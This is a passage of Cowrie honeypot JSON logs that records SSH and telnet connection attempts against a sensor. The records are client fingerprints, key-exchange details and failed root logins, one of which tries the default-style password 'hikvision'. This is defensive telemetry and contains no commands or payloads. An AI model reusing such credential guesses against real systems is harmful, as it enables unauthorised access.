1a:c6:63:4a:b7:96:8e:96:f5:22:ec:c0:af:9e:ad:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.698848Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:c6:63:4a:b7:96:8e:96:f5:22:ec:c0:af:9e:ad:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD4I5lT3wikyObfooj+jpPKH6xHW0cJG4Bnhwyef86339t+JMC4D8KRq8E+PMz87NcWIGlRvwuVo35it1GMseM0nOakwYzDYZbRar8CzfwI9/A024boWWuqub3TiIlwfCLvNd859QuZfOYsK7U7vRBVhEkqHUQaSAQQRD0vGvzP1wYFTxMuiIBJBFTGXFbOkQt56mNcDNoz0HS5DbhW3HX60/s4J7XQpIReKMxB+1HRjg7I+ixga5fTkNwrKeoL1Ry4SZCJ/yEoo2IBkYhfRhTbSEruRm7FjhNJa18tCWjIkPQRtJSs03E+AJ8Fw6q6bbYx8U61Gxf7+0kR1+Zfm34AMzVi5RGt71ZG+HL2c75dRGSR/42vwzlVY1InMpx+wwbFaUP+F948aK3yQcrvfyB35oAyVzvVyiarAOjidw5ku1MsnoP8j0WYTcUunhkc44N1bhbUwk+UISxTUq87noZcfaC5YurAoTADyRU4baMpZ0sMahz+C2+nbFHTj8qlY6LS6UmDK9Febxh/svpE7NKuQL+4v2MJKHalGQge7sap6wur7zSwSh5a13BR98QR9BCrwW8sZFh9O3NheJihBOSH2F3loAV7tXxevZV4KWIYQVzxT7J8pOr3twdKIdVhzFW22nK5NeERpOe1AG+tEMjLvQSitLXF6ibvxR1HxgCeQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.702387Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:5b:0a:e5:97:20:a8:db:89:29:ed:34:44:54:4b:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvDn12cpHcSFkUjK0sPq/Fly5Fg0GF3aJEWjKMYoOymaeY+WUMGSVOvGHhaML82jNn6HL94pxQjn/3Ux1s/o1OKox/grmaNn5jKJFVzFieSQH4KXum52fzc6iKmsgwTYOKR9m+xs3TCF/r89PtM3BEFFwWJNcYUvmxB6YWvIezFRaYIjUVdKHpHQq5S6T23F8llrpLuT3yc+1I+7h9U2UWsCncyhnxCLaH3zLvWVwyBVYw3jrsqIpb+R6GYAQefw8KQ01MLp/knngOWv33MM4PIn05Xstc0Vimcu6JQ83hQimGA9n4mgyBjFiDu879wm/owyGfLK+OCnZ7lDZCD1ls5JoN0j4jKboRVGyuRI9pg31VlB3uWRo00zcKErnoZzEOYsLS0ZIApSmC9CDA/mUgVLxvXArWW48LYB7HOtLJ80FK8iPC9y47G4c4mFeS702boBEMjumamdIpp20GNwqv+tKxYK09rRHYrYjTcMYCZ5nIDl2B3x12mTIG+M7pAPGB5JQeE2DuN3ZZJTh2sinBPMiCv2mNpJejLYzTvW4jP2MEEQ7lmROvSu1uLVhNd4t3KYC2psVltR9Xv6nd6gx0kxus+dbDrzVa08b310pFKOWBfDWYNEuJxkPjiuUwJsb9KeNVVbCYqPSNAz22N801oJQM6M3PDY6UHVG4VoJHxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:5b:0a:e5:97:20:a8:db:89:29:ed:34:44:54:4b:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.728791Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:5b:0a:e5:97:20:a8:db:89:29:ed:34:44:54:4b:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvDn12cpHcSFkUjK0sPq/Fly5Fg0GF3aJEWjKMYoOymaeY+WUMGSVOvGHhaML82jNn6HL94pxQjn/3Ux1s/o1OKox/grmaNn5jKJFVzFieSQH4KXum52fzc6iKmsgwTYOKR9m+xs3TCF/r89PtM3BEFFwWJNcYUvmxB6YWvIezFRaYIjUVdKHpHQq5S6T23F8llrpLuT3yc+1I+7h9U2UWsCncyhnxCLaH3zLvWVwyBVYw3jrsqIpb+R6GYAQefw8KQ01MLp/knngOWv33MM4PIn05Xstc0Vimcu6JQ83hQimGA9n4mgyBjFiDu879wm/owyGfLK+OCnZ7lDZCD1ls5JoN0j4jKboRVGyuRI9pg31VlB3uWRo00zcKErnoZzEOYsLS0ZIApSmC9CDA/mUgVLxvXArWW48LYB7HOtLJ80FK8iPC9y47G4c4mFeS702boBEMjumamdIpp20GNwqv+tKxYK09rRHYrYjTcMYCZ5nIDl2B3x12mTIG+M7pAPGB5JQeE2DuN3ZZJTh2sinBPMiCv2mNpJejLYzTvW4jP2MEEQ7lmROvSu1uLVhNd4t3KYC2psVltR9Xv6nd6gx0kxus+dbDrzVa08b310pFKOWBfDWYNEuJxkPjiuUwJsb9KeNVVbCYqPSNAz22N801oJQM6M3PDY6UHVG4VoJHxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.732520Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.756453Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":44688,"dst_ip":"159.203.135.109","dst_port":22,"session":"179327e1cd1f","protocol":"ssh","message":"New connection: 45.123.110.70:44688 (159.203.135.109:22) [session: 179327e1cd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:24.222980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:24.227908Z","src_ip":"45.123.110.70","session":"179327e1cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:24.462126Z","src_ip":"45.123.110.70","session":"179327e1cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hikvision","message":"login attempt [root/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:25.432127Z","src_ip":"45.123.110.70","session":"179327e1cd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:26.670850Z","src_ip":"45.123.110.70","session":"179327e1cd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":38206,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6936136b843","protocol":"telnet","message":"New connection: 167.71.238.254:38206 (10.17.0.5:23) [session: b6936136b843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:38.487401Z"}
{"eventid":"cowrie.session.closed","duration":16.130085229873657,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:58:54.617358Z","src_ip":"167.71.238.254","session":"b6936136b843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":50884,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce85e87259d3","protocol":"telnet","message":"New connection: 167.71.238.254:50884 (10.17.0.5:23) [session: ce85e87259d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:59:55.520604Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":15024,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b2b1db20607","protocol":"ssh","message":"New connection: 45.123.110.70:15024 (159.203.135.109:22) [session: 9b2b1db20607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.105895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.111451Z","src_ip":"45.123.110.70","session":"9b2b1db20607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.78.51","src_port":56596,"dst_ip":"10.17.0.5","dst_port":22,"session":"c060364e79be","protocol":"ssh","message":"New connection: 184.154.78.51:56596 (10.17.0.5:22) [session: c060364e79be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.227452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.237300Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.293915Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.351458Z","src_ip":"45.123.110.70","session":"9b2b1db20607","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:bd:7f:6c:78:38:0c:5c:5e:e9:7b:71:18:e2:49:96","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN6riZjoTmdiyTpHjjbGA/2TnUrL6f5iMquOBLR74dBlCWyEobtfQ/Szp6w13IqF9Tn2FLNOgSdnE2DWHTbaFzd6pGlhUzYxPJPNN1jIoivGQMEHko+ZKXw5EcsTpEgvDgLEUokCarpS6N+p42AYLjNgfnN4TxzreXQY6G74n2ytAAAAFQDijO8kaxlO6w2f4/OP17tgUNU5rwAAAIAYvdna3IfgKmNIL7saiXcLvdE5LAFSLWjxHp5FwWdXzVd2SqdIhvBi3DXDkK/kh0zOvTZUsJvarbrdfEMRrFf2Tk2aWW55XRb/RwheTmJMJUZHqVghD5afG1onWTp/OUCVcy27hooI/jCsld2BH1p/U23Ri3CBKrq8a6sKNprPtQAAAIEAv1z98NjOCCldCYvOTsGXRnnO7yMWRtQjzxVimOKPSdYZmsINci0qO/+7ch1KiSw0ttKBPk3IGwI5PulMWCBPMlkgG9ILqd9U0X1Otedt7TWvisvg7TSPI5Ufj6N74Hqpf6QIdy2AfFRI6h28tR/Et6bXfFIe+IYSnXhk/gNfhPs=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 61:bd:7f:6c:78:38:0c:5c:5e:e9:7b:71:18:e2:49:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.493751Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:bd:7f:6c:78:38:0c:5c:5e:e9:7b:71:18:e2:49:96","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN6riZjoTmdiyTpHjjbGA/2TnUrL6f5iMquOBLR74dBlCWyEobtfQ/Szp6w13IqF9Tn2FLNOgSdnE2DWHTbaFzd6pGlhUzYxPJPNN1jIoivGQMEHko+ZKXw5EcsTpEgvDgLEUokCarpS6N+p42AYLjNgfnN4TxzreXQY6G74n2ytAAAAFQDijO8kaxlO6w2f4/OP17tgUNU5rwAAAIAYvdna3IfgKmNIL7saiXcLvdE5LAFSLWjxHp5FwWdXzVd2SqdIhvBi3DXDkK/kh0zOvTZUsJvarbrdfEMRrFf2Tk2aWW55XRb/RwheTmJMJUZHqVghD5afG1onWTp/OUCVcy27hooI/jCsld2BH1p/U23Ri3CBKrq8a6sKNprPtQAAAIEAv1z98NjOCCldCYvOTsGXRnnO7yMWRtQjzxVimOKPSdYZmsINci0qO/+7ch1KiSw0ttKBPk3IGwI5PulMWCBPMlkgG9ILqd9U0X1Otedt7TWvisvg7TSPI5Ufj6N74Hqpf6QIdy2AfFRI6h28tR/Et6bXfFIe+IYSnXhk/gNfhPs=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.498178Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:65:59:12:5d:09:c7:eb:c1:f6:92:b5:42:d2:50:81","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWVTCnkvnEk5tTvZb2oIJ9PIpmExTxB7dJXtotU8wwX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1f:65:59:12:5d:09:c7:eb:c1:f6:92:b5:42:d2:50:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.573647Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:65:59:12:5d:09:c7:eb:c1:f6:92:b5:42:d2:50:81","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWVTCnkvnEk5tTvZb2oIJ9PIpmExTxB7dJXtotU8wwX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.591966Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:ef:4c:0f:ed:f7:8d:30:0e:0b:a4:ed:54:68:6d:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQDKdIYVsglGmUvwpTBUqznh/nyYGKH1U3b1Bc903ZbEtCdLb1hyWYmmNaf5IkxUe4g5J53TL7JO7hFw9jFt2LRK+0aoGqMwdXQfnyIZNeV4QxdCpldJLmIPlbgLNmox3XiLeKCox5kzOr5e1LhMxN5rm9wTP72YpdlMrQSbPyjAnmso44y4KmYC4DVjhWV/aAZiqSJHLVA0kQbAaSa+lqzDXNpPc1ZCLQq6lyseGGuOJgJawN6osLcl9MEAe0VLXcvsrOJB4YdRIjJ3zkF1mq+rIaOwmA+eXKTRl1QLE6haKBa+Ch+Gnap5mfw1QYGgKONnrsjFC4wGIahgfOj/cG7maA7f8/bcdY72ZD9yU03XfLeFg87h5tJtMztSIHEAo0onAY1gudgatL6bq1PO6P4pQUw8BKGxcWPg9L9c6wCuXQg+JZKPKazxHSqBZAxOZ1DZMCuUQpwXcup7m8DiTTENWyxkaVTwK6NIxxAXW8mTwfYg64T92kojPbGsOy8DdibbJphASoGp/d5ZWxeJ4jMw7CKK8xCcm1LSsSsOsFjTcgRuVEjwCAoUiHuDRxLWAhU1PbirKeKQ5ZwDfUiz3Cbd6ofRwY+pq1F4+J948fadbLiiq/dWOVZwv/33YXvpsHuGceMYUtoGgtVwvWVjir8EKYiqhMYVt9jjlkS9+U2L8m6ElnJMvWeKIss6ymcCcKpUF46mdtE0JaDI1sB8BxaHUosaXyI74S5DFGEGT09GcxXOCWDIS29knT5Bkr5lYh8wgxi7jwfph+QjAlpK9p3VefC9ki0qSIy1kmh0R2KYd5NRTMu4anxDCrFcnu3moLQfwkIn7IhE1hRhOg76oD/8aGFZV0kfh4HOxmxhLKTjE6/Kx5spSyWnmO7V4TR9dQkgRMIwcVGs/Tc6WKL2QIjrca52IUS5nNcP/etvFuO9bLlJHs6Ple8/88vTqdRfxu3z8ItT/DZCp6rmhIw7msVpmgSwGwDYjZn+5elBLZulBkAGAkJhAWD3auc7DCxqabT0goxfNe9/Dm2qGE/5iBOVYE65CcN5tJyjhB2R0cPa+06Wn+zLmjPEPm8vjyT9eDowY3zqW3p17uwGE9fOUToPvHDU4z+M4Wla6SRL/2HQsyb2gjAmzEjQUgyjmOCaqSXqJwR/e4HFcE+huLVNx1/ewMVTLHjgq3gugplwBgEoZlqYh1LzDBKD3cyRtiycM4B9KImEIbL5xuHKaP9TQ4SB58x68iNKZDeQFa7HsLUkQvEbjZLPaN7U7o99gfEcl+Trr0u6vp7VN9C3SRT7o4YFKrbuOKFfVZTiIhEst3E5eJUrwkU6KdacFkTd8zbhYspHCB1jyMUkve8VPwTaBa7V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:ef:4c:0f:ed:f7:8d:30:0e:0b:a4:ed:54:68:6d:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.694353Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:ef:4c:0f:ed:f7:8d:30:0e:0b:a4:ed:54:68:6d:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQDKdIYVsglGmUvwpTBUqznh/nyYGKH1U3b1Bc903ZbEtCdLb1hyWYmmNaf5IkxUe4g5J53TL7JO7hFw9jFt2LRK+0aoGqMwdXQfnyIZNeV4QxdCpldJLmIPlbgLNmox3XiLeKCox5kzOr5e1LhMxN5rm9wTP72YpdlMrQSbPyjAnmso44y4KmYC4DVjhWV/aAZiqSJHLVA0kQbAaSa+lqzDXNpPc1ZCLQq6lyseGGuOJgJawN6osLcl9MEAe0VLXcvsrOJB4YdRIjJ3zkF1mq+rIaOwmA+eXKTRl1QLE6haKBa+Ch+Gnap5mfw1QYGgKONnrsjFC4wGIahgfOj/cG7maA7f8/bcdY72ZD9yU03XfLeFg87h5tJtMztSIHEAo0onAY1gudgatL6bq1PO6P4pQUw8BKGxcWPg9L9c6wCuXQg+JZKPKazxHSqBZAxOZ1DZMCuUQpwXcup7m8DiTTENWyxkaVTwK6NIxxAXW8mTwfYg64T92kojPbGsOy8DdibbJphASoGp/d5ZWxeJ4jMw7CKK8xCcm1LSsSsOsFjTcgRuVEjwCAoUiHuDRxLWAhU1PbirKeKQ5ZwDfUiz3Cbd6ofRwY+pq1F4+J948fadbLiiq/dWOVZwv/33YXvpsHuGceMYUtoGgtVwvWVjir8EKYiqhMYVt9jjlkS9+U2L8m6ElnJMvWeKIss6ymcCcKpUF46mdtE0JaDI1sB8BxaHUosaXyI74S5DFGEGT09GcxXOCWDIS29knT5Bkr5lYh8wgxi7jwfph+QjAlpK9p3VefC9ki0qSIy1kmh0R2KYd5NRTMu4anxDCrFcnu3moLQfwkIn7IhE1hRhOg76oD/8aGFZV0kfh4HOxmxhLKTjE6/Kx5spSyWnmO7V4TR9dQkgRMIwcVGs/Tc6WKL2QIjrca52IUS5nNcP/etvFuO9bLlJHs6Ple8/88vTqdRfxu3z8ItT/DZCp6rmhIw7msVpmgSwGwDYjZn+5elBLZulBkAGAkJhAWD3auc7DCxqabT0goxfNe9/Dm2qGE/5iBOVYE65CcN5tJyjhB2R0cPa+06Wn+zLmjPEPm8vjyT9eDowY3zqW3p17uwGE9fOUToPvHDU4z+M4Wla6SRL/2HQsyb2gjAmzEjQUgyjmOCaqSXqJwR/e4HFcE+huLVNx1/ewMVTLHjgq3gugplwBgEoZlqYh1LzDBKD3cyRtiycM4B9KImEIbL5xuHKaP9TQ4SB58x68iNKZDeQFa7HsLUkQvEbjZLPaN7U7o99gfEcl+Trr0u6vp7VN9C3SRT7o4YFKrbuOKFfVZTiIhEst3E5eJUrwkU6KdacFkTd8zbhYspHCB1jyMUkve8VPwTaBa7V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.721976Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:c2:17:6e:23:10:6d:2b:24:1f:9a:12:cb:bf:8f:a5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN4MLwSCPI2DK9xM7+vw2QWtX6bXu8vamc4Imzt12GeN74jWM0EXQ7RJMfLMPzVUgibrkGNmmBVP2RkD3Oh9/pBfC15mgPF2S8aPrZjpSHa6czNscnIjhAyozTgF8GxRvoPF0wv7g7YGDC07ZrgBQOCB5rJL9TZUFUSwdOwnsJrfAAAAFQDAqDiM/8YgbwebCn9pvku1beMQOQAAAIEAuIvBJj4dWtpZkDAu5KkqKUi8qP0EfkR2Uir0Uz5hnQBaUwn89MneX3OX9r4TPQ1XJCopF/Bele5Xs/Nz5sXmkHtZZclIcauEvZ0fgjtQyijNPSdKPYzDDa+AHj7kCzHfY1dZPfNlnvAxtF64uQH73BiULxqWd7kdxPPDL/SXHwQAAACBAMcuNgytwTX8PKV1m1eDbJ6eplDvxGGil3UhFflHhrPrx5hV2GYaTl8t/Br6ZNO50XbVbCBpxtJHVezepFVmbYlthOjVY7Rzp7tYgv7Fhv8VmgTPMukM8GQMLOheb9KONiori8TD42ZsK6lboWG6E2gmg/Ad7RJKqDquk4MLSDas","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8d:c2:17:6e:23:10:6d:2b:24:1f:9a:12:cb:bf:8f:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.779806Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
